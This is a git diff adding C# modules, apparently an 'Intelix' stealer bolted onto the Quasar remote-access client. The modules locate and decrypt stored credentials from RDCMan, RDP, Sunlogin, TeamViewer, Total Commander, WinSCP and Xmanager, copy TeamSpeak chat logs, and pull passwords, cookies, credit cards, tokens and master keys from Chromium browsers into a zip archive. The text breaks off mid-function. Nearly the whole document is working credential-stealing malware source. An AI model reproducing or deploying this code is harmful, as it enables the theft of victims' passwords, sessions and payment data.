+ { + foreach (XmlNode item in xmlNodeList) + { + string innerText = item.InnerText; + if (!string.IsNullOrEmpty(innerText) && !list.Contains(innerText)) + { + list.Add(innerText); + } + } + } + if (!list.Any()) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RDCMan"; + StringBuilder stringBuilder = new StringBuilder(); + foreach (string item2 in list) + { + if (!File.Exists(item2)) + { + continue; + } + string text = "RDCMan\\" + Path.GetFileName(item2); + zip.AddFile(text, File.ReadAllBytes(item2)); + counterApplications.Files.Add(item2 + " => " + text); + XmlDocument xmlDocument2 = new XmlDocument(); + xmlDocument2.LoadXml(File.ReadAllText(item2)); + XmlNodeList xmlNodeList2 = xmlDocument2.SelectNodes("//server"); + if (xmlNodeList2 == null || xmlNodeList2.Count == 0) + { + continue; + } + stringBuilder.AppendLine("SourceFile: " + item2); + stringBuilder.AppendLine($"Found servers: {xmlNodeList2.Count}"); + stringBuilder.AppendLine(); + foreach (XmlNode item3 in xmlNodeList2) + { + string text2 = string.Empty; + string text3 = string.Empty; + string text4 = string.Empty; + string text5 = string.Empty; + string text6 = string.Empty; + foreach (XmlNode item4 in item3) + { + foreach (XmlNode item5 in item4) + { + switch (item5.Name) + { + case "name": + text2 = item5.InnerText; + break; + case "profileName": + text3 = item5.InnerText; + break; + case "userName": + text4 = item5.InnerText; + break; + case "password": + text5 = item5.InnerText; + break; + case "domain": + text6 = item5.InnerText; + break; + } + } + } + if (!string.IsNullOrEmpty(text5)) + { + string text7 = DecryptPassword(text5); + stringBuilder.AppendLine("----"); + stringBuilder.AppendLine("HostName: " + text2); + stringBuilder.AppendLine("ProfileName: " + text3); + stringBuilder.AppendLine("UserName: " + (string.IsNullOrEmpty(text6) ? text4 : (text6 + "\\" + text4))); + stringBuilder.AppendLine("DecryptedPassword: " + text7); + stringBuilder.AppendLine(); + } + } + string text8 = "RDCMan\\" + Path.GetFileName(item2) + "\\credentials.txt"; + zip.AddTextFile(text8, stringBuilder.ToString()); + counterApplications.Files.Add(text8 ?? ""); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("RDCMan\\"); + counter.Applications.Add(counterApplications); + } + } + + private string DecryptPassword(string password) + { + byte[] array = DpApi.Decrypt(Convert.FromBase64String(password)); + if (array == null) + { + return string.Empty; + } + return Encoding.UTF8.GetString(array).TrimEnd(default(char)); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs new file mode 100755 index 0000000..2f3ed00 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs @@ -0,0 +1,103 @@ +using System; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Rdp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "Software\\Microsoft\\Terminal Server Client"; + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey == null) + { + return; + } + string text2 = "Rdp"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RDP"; + RegistryKey registryKey2 = registryKey.OpenSubKey("Default"); + if (registryKey2 != null) + { + StringBuilder stringBuilder = new StringBuilder(); + string[] valueNames = registryKey2.GetValueNames(); + foreach (string name in valueNames) + { + try + { + object value = registryKey2.GetValue(name); + if (value != null) + { + stringBuilder.AppendLine(value.ToString()); + } + } + catch + { + } + } + if (stringBuilder.Length > 0) + { + string text3 = text2 + "\\History.txt"; + byte[] bytes = Encoding.UTF8.GetBytes(stringBuilder.ToString() + "\n"); + zip.AddFile(text3.Replace('\\', '/'), bytes); + counterApplications.Files.Add(text + "\\Default => " + text3.Replace('\\', '/')); + } + } + RegistryKey registryKey3 = registryKey.OpenSubKey("Servers"); + if (registryKey3 != null) + { + StringBuilder stringBuilder2 = new StringBuilder(); + string[] valueNames = registryKey3.GetSubKeyNames(); + foreach (string text4 in valueNames) + { + try + { + RegistryKey registryKey4 = registryKey3.OpenSubKey(text4); + if (registryKey4 == null) + { + continue; + } + stringBuilder2.AppendLine(text4 + ":"); + string[] valueNames2 = registryKey4.GetValueNames(); + foreach (string text5 in valueNames2) + { + try + { + object value2 = registryKey4.GetValue(text5); + if (value2 is byte[] array) + { + string text6 = BitConverter.ToString(array).Replace("-", ""); + stringBuilder2.AppendLine(text5 + ": " + text6); + } + else + { + stringBuilder2.AppendLine($"{text5}: {value2}"); + } + } + catch + { + } + } + stringBuilder2.AppendLine(); + } + catch + { + } + } + if (stringBuilder2.Length > 0) + { + string text7 = text2 + "\\Credentials.txt"; + byte[] bytes2 = Encoding.UTF8.GetBytes(stringBuilder2.ToString()); + zip.AddFile(text7.Replace('\\', '/'), bytes2); + counterApplications.Files.Add(text + "\\Servers => " + text7.Replace('\\', '/')); + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs new file mode 100755 index 0000000..0439133 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs @@ -0,0 +1,101 @@ +using System; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Sunlogin : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string name = "SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\Oray SunLogin RemoteClient"; + string name2 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo"; + string name3 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo"; + StringBuilder sb = new StringBuilder(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Sunlogin"; + RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name); + RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(name2); + RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(name3); + if (registryKey != null) + { + string path = Path.Combine(Registry.LocalMachine.OpenSubKey(name).GetValue("InstallLocation").ToString(), "config.ini"); + string text = (File.Exists(path) ? File.ReadAllText(path) : string.Empty); + string fastcode = string.Empty; + string encry_pwd = string.Empty; + string sunlogincode = string.Empty; + if (!string.IsNullOrEmpty(text)) + { + fastcode = Regex.Match(text, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + encry_pwd = Regex.Match(text, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + sunlogincode = Regex.Match(text, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + } + AppendFound("registry_install", path, fastcode, encry_pwd, sunlogincode); + } + else if (registryKey2 != null) + { + string fastcode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_fastcode").ToString(); + string encry_pwd2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_encry_pwd").ToString(); + string sunlogincode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_sunlogincode").ToString(); + AppendFound("registry_greeninfo", string.Empty, fastcode2, encry_pwd2, sunlogincode2); + } + else if (registryKey3 != null) + { + string fastcode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_fastcode").ToString(); + string encry_pwd3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_encry_pwd").ToString(); + string sunlogincode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_sunlogincode").ToString(); + AppendFound("registry_info", string.Empty, fastcode3, encry_pwd3, sunlogincode3); + } + string path2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Oray", "SunloginClient", "config.ini"); + if (File.Exists(path2)) + { + string input = File.ReadAllText(path2); + string value = Regex.Match(input, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value2 = Regex.Match(input, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value3 = Regex.Match(input, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("programdata", path2, value, value2, value3); + } + string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Oray", "SunloginClientLite", "sys_lite_config.ini"); + if (File.Exists(path3)) + { + string input2 = File.ReadAllText(path3); + string value4 = Regex.Match(input2, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value5 = Regex.Match(input2, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value6 = Regex.Match(input2, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("user_roaming", path3, value4, value5, value6); + } + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System).Substring(0, 3) + "\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Oray\\SunloginClient\\sys_config.ini"); + string path4 = "C:\\\\Windows\\\\system32\\\\config\\\\systemprofile\\\\AppData\\\\Roaming\\\\Oray\\\\SunloginClient\\\\sys_config.ini"; + if (File.Exists(path4)) + { + string input3 = File.ReadAllText(path4); + string value7 = Regex.Match(input3, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value8 = Regex.Match(input3, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value9 = Regex.Match(input3, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("systemprofile", path4, value7, value8, value9); + } + if (sb.Length > 0) + { + string text2 = "Sunlogin\\info.txt"; + zip.AddTextFile(text2, sb.ToString()); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + void AppendFound(string source, string text3, string text4, string text5, string text6) + { + sb.AppendLine("Source: " + source); + if (!string.IsNullOrEmpty(text3)) + { + sb.AppendLine("Path: " + text3); + counterApplications.Files.Add(text3 + " => Sunlogin\\info.txt"); + } + sb.AppendLine("Fastcode: " + text4); + sb.AppendLine("Encry_pwd: " + text5); + sb.AppendLine("Sunlogincode: " + text6); + sb.AppendLine(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs new file mode 100755 index 0000000..f2180e6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs @@ -0,0 +1,92 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class TeamSpeak : ITarget +{ + private readonly bool _collectChannelChats = true; + + private readonly bool _collectServerLogs = true; + + private readonly long _minFileSize = 50L; + + public void Collect(InMemoryZip zip, Counter counter) + { + string text = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client") + }.FirstOrDefault(Directory.Exists); + if (string.IsNullOrEmpty(text)) + { + return; + } + string path = Path.Combine(text, "config", "chats"); + if (!Directory.Exists(path)) + { + return; + } + string[] directories = Directory.GetDirectories(path); + if (directories == null || directories.Length == 0) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "TeamSpeak"; + int num = 1; + string[] array = directories; + for (int i = 0; i < array.Length; i++) + { + string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f) + { + string fileName = Path.GetFileName(f); + if (string.IsNullOrEmpty(fileName)) + { + return false; + } + if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + try + { + return new FileInfo(f).Length >= _minFileSize; + } + catch + { + return false; + } + }).ToArray(); + if (array2.Length == 0) + { + continue; + } + string[] array3 = array2; + foreach (string text2 in array3) + { + try + { + string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + } + catch + { + } + } + num++; + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("TeamSpeak\\"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs new file mode 100755 index 0000000..14a2202 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs @@ -0,0 +1,33 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class TeamViewer : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\TeamViewer")) + { + list.AddRange(RegistryParser.ParseKey(key)); + } + using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\TeamViewer", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key2)); + } + if (list.Any()) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "TeamViewer"; + string text = "TeamViewer\\Registry.txt"; + zip.AddTextFile(text, string.Join("\n", list)); + counterApplications.Files.Add("SOFTWARE\\TeamViewer => " + text); + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs new file mode 100755 index 0000000..0a10d94 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class TotalCommander : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "GHISLER", "wcx_ftp.ini"); + if (File.Exists(text)) + { + string text2 = "Total Commander\\wcx_ftp.ini"; + zip.AddFile(text2, File.ReadAllBytes(text)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Total Commander"; + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs new file mode 100755 index 0000000..dde4e36 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs @@ -0,0 +1,125 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class WinSCP : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + List list2 = new List(); + try + { + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions"); + if (registryKey == null) + { + return; + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text in subKeyNames) + { + string text2 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + text; + using RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(text2); + if (registryKey2 != null) + { + string text3 = registryKey2.GetValue("HostName")?.ToString(); + if (!string.IsNullOrWhiteSpace(text3)) + { + string text4 = registryKey2.GetValue("UserName")?.ToString(); + string pass = registryKey2.GetValue("Password")?.ToString(); + string text5 = DecryptPassword(text4, pass, text3); + string text6 = registryKey2.GetValue("PortNumber")?.ToString(); + list.Add("Session: " + text + "\nUrl: " + text3 + ":" + text6 + "\nUsername: " + text4 + "\nPassword: " + text5); + list2.Add("HKEY_CURRENT_USER\\" + text2); + } + } + } + } + catch + { + } + if (list.Count <= 0) + { + return; + } + string text7 = "FTP/WinSCP/Sessions.txt"; + zip.AddTextFile(text7, string.Join("\n\n", list)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "WinSCP"; + foreach (string item in list2) + { + counterApplications.Files.Add(item + " => " + text7); + } + counterApplications.Files.Add(text7); + counter.Applications.Add(counterApplications); + } + + private static int DecryptNextChar(List charList) + { + return 0xFF ^ ((((int.Parse(charList[0]) << 4) + int.Parse(charList[1])) ^ 0xA3) & 0xFF); + } + + private static string DecryptPassword(string user, string pass, string host) + { + if (string.IsNullOrEmpty(user) || string.IsNullOrEmpty(pass) || string.IsNullOrEmpty(host)) + { + return ""; + } + try + { + List list = pass.Select((char c) => c.ToString()).ToList(); + List list2 = new List(); + foreach (string item in list) + { + switch (item) + { + case "A": + list2.Add("10"); + break; + case "B": + list2.Add("11"); + break; + case "C": + list2.Add("12"); + break; + case "D": + list2.Add("13"); + break; + case "E": + list2.Add("14"); + break; + case "F": + list2.Add("15"); + break; + default: + list2.Add(item); + break; + } + } + if (DecryptNextChar(list2) == 255) + { + DecryptNextChar(list2); + } + list2.RemoveRange(0, 4); + int num = DecryptNextChar(list2); + list2.RemoveRange(0, 2); + int count = DecryptNextChar(list2) * 2; + list2.RemoveRange(0, count); + string text = ""; + for (int num2 = 0; num2 < num; num2++) + { + text += (char)DecryptNextChar(list2); + list2.RemoveRange(0, 2); + } + string oldValue = user + host; + return text.Replace(oldValue, ""); + } + catch + { + return ""; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs new file mode 100755 index 0000000..88034bb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs @@ -0,0 +1,136 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class Xmanager : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + WindowsIdentity current = WindowsIdentity.GetCurrent(); + string sid = current.User.ToString(); + DirectoryInfo root = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Personal)); + List source = Search(root); + ConcurrentBag lines = new ConcurrentBag(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Xmanager"; + Parallel.ForEach(source, delegate(string sessionFile) + { + List list = ReadConfigFile(sessionFile); + if (list.Count >= 4) + { + string text2 = list[0]?.Trim() ?? ""; + string text3 = list[1] ?? ""; + string text4 = list[2] ?? ""; + string text5 = list[3] ?? ""; + string text6 = " Version : " + text2 + "\n"; + text6 = text6 + " Host : " + text3 + "\n"; + text6 = text6 + " User : " + text4 + "\n"; + text6 = text6 + " RawPass : " + text5 + "\n"; + string text7 = DecryptToString(text4, sid, text5, text2); + text6 = text6 + " Decrypted: " + text7 + "\n\n"; + lines.Add(text6); + counterApplications.Files.Add(sessionFile + " => Xmanager\\sessions.txt"); + } + }); + if (lines.Any()) + { + string text = "Xmanager\\sessions.txt"; + zip.AddTextFile(text, string.Concat(lines)); + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } + + private List Search(DirectoryInfo root) + { + List list = new List(); + if (!root.Exists) + { + return list; + } + Stack stack = new Stack(); + stack.Push(root); + while (stack.Count > 0) + { + DirectoryInfo directoryInfo = stack.Pop(); + try + { + FileInfo[] files = directoryInfo.GetFiles(); + for (int i = 0; i < files.Length; i++) + { + string fullName = files[i].FullName; + if (fullName.EndsWith(".xsh", StringComparison.OrdinalIgnoreCase) || fullName.EndsWith(".xfp", StringComparison.OrdinalIgnoreCase)) + { + list.Add(fullName); + } + } + DirectoryInfo[] directories = directoryInfo.GetDirectories(); + foreach (DirectoryInfo item in directories) + { + stack.Push(item); + } + } + catch + { + } + } + return list; + } + + private List ReadConfigFile(string path) + { + string input = File.ReadAllText(path); + string value = Regex.Match(input, "Version=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value2 = Regex.Match(input, "Host=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value3 = Regex.Match(input, "UserName=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value4 = Regex.Match(input, "Password=(.*)", RegexOptions.Multiline).Groups[1].Value; + List list = new List { value, value2, value3 }; + if (!string.IsNullOrEmpty(value4) && value4.Length > 3) + { + list.Add(value4); + } + return list; + } + + private string DecryptToString(string username, string sid, string rawPass, string ver) + { + byte[] array = Convert.FromBase64String(rawPass); + byte[] key; + if (ver.StartsWith("5.0") || ver.StartsWith("4") || ver.StartsWith("3") || ver.StartsWith("2")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&")); + } + else if (ver.StartsWith("5.1") || ver.StartsWith("5.2")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(sid)); + } + else if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(username + sid)); + } + else + { + string s = new string((new string(username.ToCharArray().Reverse().ToArray()) + sid).ToCharArray().Reverse().ToArray()); + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(s)); + } + byte[] array2 = new byte[array.Length - 32]; + Array.Copy(array, 0, array2, 0, array2.Length); + byte[] array3 = RC4Crypt.Decrypt(key, array2); + if (array3 == null) + { + return string.Empty; + } + return Encoding.ASCII.GetString(array3); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs new file mode 100755 index 0000000..8359261 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs @@ -0,0 +1,851 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Intelix.Helper.Sql; + +namespace Intelix.Targets.Browsers; + +public class Chromium : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Chromium, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + ProfileCollect(zip, counter, browser, profile); + }); + } + }); + } + + private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile) + { + string localstate = browser + "\\Local State"; + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + byte[] masterv10 = LocalState.MasterKeyV10(localstate); + byte[] masterv20 = LocalState.MasterKeyV20(localstate); + Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser(); + counterBrowser.Profile = profile; + counterBrowser.BrowserName = browsername; + object[][] source = new object[7][] + { + new object[3] + { + "Login Data", + Path.Combine(profile, "Login Data"), + new string[1] { "logins" } + }, + new object[3] + { + "Login Data For Account", + Path.Combine(profile, "Login Data For Account"), + new string[1] { "logins" } + }, + new object[3] + { + "Network Cookies", + Path.Combine(profile, "Network", "Cookies"), + new string[1] { "cookies" } + }, + new object[3] + { + "Cookies", + Path.Combine(profile, "Cookies"), + new string[1] { "cookies" } + }, + new object[3] + { + "Web Data", + Path.Combine(profile, "Web Data"), + new string[5] { "AutoFill", "credit_cards", "token_service", "masked_credit_cards", "masked_ibans" } + }, + new object[3] + { + "Ya Passman Data", + Path.Combine(profile, "Ya Passman Data"), + new string[1] { "logins" } + }, + new object[3] + { + "Ya Credit Cards", + Path.Combine(profile, "Ya Credit Cards"), + new string[1] { "records" } + } + }; + Dictionary> handlers = new Dictionary>(StringComparer.OrdinalIgnoreCase) + { + { + "Login Data/logins", + delegate(SqLite sSqLite) + { + Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Login Data For Account/logins", + delegate(SqLite sSqLite) + { + Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Cookies/cookies", + delegate(SqLite sSqLite) + { + Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Network Cookies/cookies", + delegate(SqLite sSqLite) + { + Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/AutoFill", + delegate(SqLite sSqLite) + { + AutoFill(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/credit_cards", + delegate(SqLite sSqLite) + { + CreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/token_service", + delegate(SqLite sSqLite) + { + TokenRestore(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/masked_credit_cards", + delegate(SqLite sSqLite) + { + MaskCreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/masked_ibans", + delegate(SqLite sSqLite) + { + MaskedIbans(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Ya Passman Data/logins", + delegate(SqLite sSqLite) + { + YandexPassword(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Ya Credit Cards/records", + delegate(SqLite sSqLite) + { + YandexGetCard(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + } + }; + Parallel.ForEach(source, delegate(object[] file) + { + string name = (string)file[0]; + string path = (string)file[1]; + string[] source2 = (string[])file[2]; + if (File.Exists(path)) + { + byte[] bytes; + try + { + bytes = File.ReadAllBytes(path); + } + catch + { + return; + } + Parallel.ForEach(source2, delegate(string table) + { + try + { + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable(table); + string key = name + "/" + table; + if (handlers.TryGetValue(key, out var value)) + { + value(sqLite); + } + } + catch + { + } + }); + } + }); + Task.Run(delegate + { + CollectAdditionalData(zip, counterBrowser, browser, profile, profilename, browsername, masterv10, masterv20); + }); + + if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L) + { + counter.Browsers.Add(counterBrowser); + } + } + + private void CollectAdditionalData(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string browser, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + try + { + Bookmarks(zip, profile, profilename, browsername); + History(zip, profile, profilename, browsername); + Download(zip, profile, profilename, browsername); + FingerPrint(zip, profile, profilename, browsername); + GoogleAccounts(zip, profile, profilename, browsername, masterv10, masterv20); + MasterKeys(zip, browser, profilename, browsername); + SaveBrowserPath(zip, profile, profilename, browsername); + UA(zip, profile, profilename, browsername); + Version(zip, browser, profilename, browsername); + } + catch + { + } + } + + private void Bookmarks(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string bookmarksPath = Path.Combine(profile, "Bookmarks"); + if (File.Exists(bookmarksPath)) + { + string content = File.ReadAllText(bookmarksPath); + MatchCollection matches = Regex.Matches(content, "\"url\"\\s*:\\s*\"([^\"]+)\"|\"name\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase); + StringBuilder sb = new StringBuilder(); + string currentUrl = string.Empty; + foreach (Match match in matches) + { + if (match.Groups[1].Success) + { + currentUrl = match.Groups[1].Value; + } + else if (match.Groups[2].Success && !string.IsNullOrEmpty(currentUrl)) + { + sb.AppendLine("URL: " + currentUrl); + sb.AppendLine("Title: " + match.Groups[2].Value); + sb.AppendLine("==============="); + currentUrl = string.Empty; + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/Bookmarks/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void History(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string historyPath = Path.Combine(profile, "History"); + if (File.Exists(historyPath)) + { + byte[] bytes = File.ReadAllBytes(historyPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("urls"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string url = sqLite.GetValue(i, 1); + if (!string.IsNullOrEmpty(url)) + { + sb.AppendLine(url); + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/History/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void Download(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string historyPath = Path.Combine(profile, "History"); + if (File.Exists(historyPath)) + { + byte[] bytes = File.ReadAllBytes(historyPath); + SqLite sqLite = new 